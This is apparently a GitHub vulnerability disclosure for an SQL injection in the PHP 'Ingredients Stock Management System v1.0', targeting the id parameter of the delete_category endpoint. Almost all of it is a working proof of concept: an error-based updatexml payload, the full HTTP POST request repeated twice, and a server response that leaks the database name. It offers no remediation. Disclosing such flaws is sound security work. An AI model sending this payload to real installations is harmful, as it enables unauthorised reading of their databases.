debug601 Create SQLi-5.md History

1 contributor

29 lines (21 sloc) | 1.1 KB

Ingredients Stock Management System v1.0 by oretnom23 has SQL injection

vendors: https://www.sourcecodester.com/php/15364/ingredients-stock-management-system-phpoop-free-source-code.html

Vulnerability File: /isms/classes/Master.php?f=delete_category

Vulnerability location: /isms/classes/Master.php?f=delete_category, id

db_name = isms_db;

[+] Payload: id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

```
POST /isms/classes/Master.php?f=delete_category HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=2m880botn1u43hd2gu23ttj4ug
Connection: close
```

```
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+
```

Raw Params Headers Hex

```
POST
/isms/classes/Master.php?f=delete_c
ategory HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows
NT 10.0; WOW64; rv:46.0)
Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,appl
ication/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
_ga=GA1.1.1382961971.1655097107;
PHPSESSID=2m880botn1u43hd2gu23ttj4u
g
Connection: close
Content-Type:
application/x-www-form-urlencoded
Content-Length: 65

id=3' and
updatexml(1,concat(0x7e,(select
database()),0x7e),0)--+
```

Raw Headers Hex

```
HTTP/1.1 200 OK
Date: Sun, 17 Jul 2022 04:23:00 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 61
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"failed","error":"XPATH syntax error: '~isms_db~'"}
```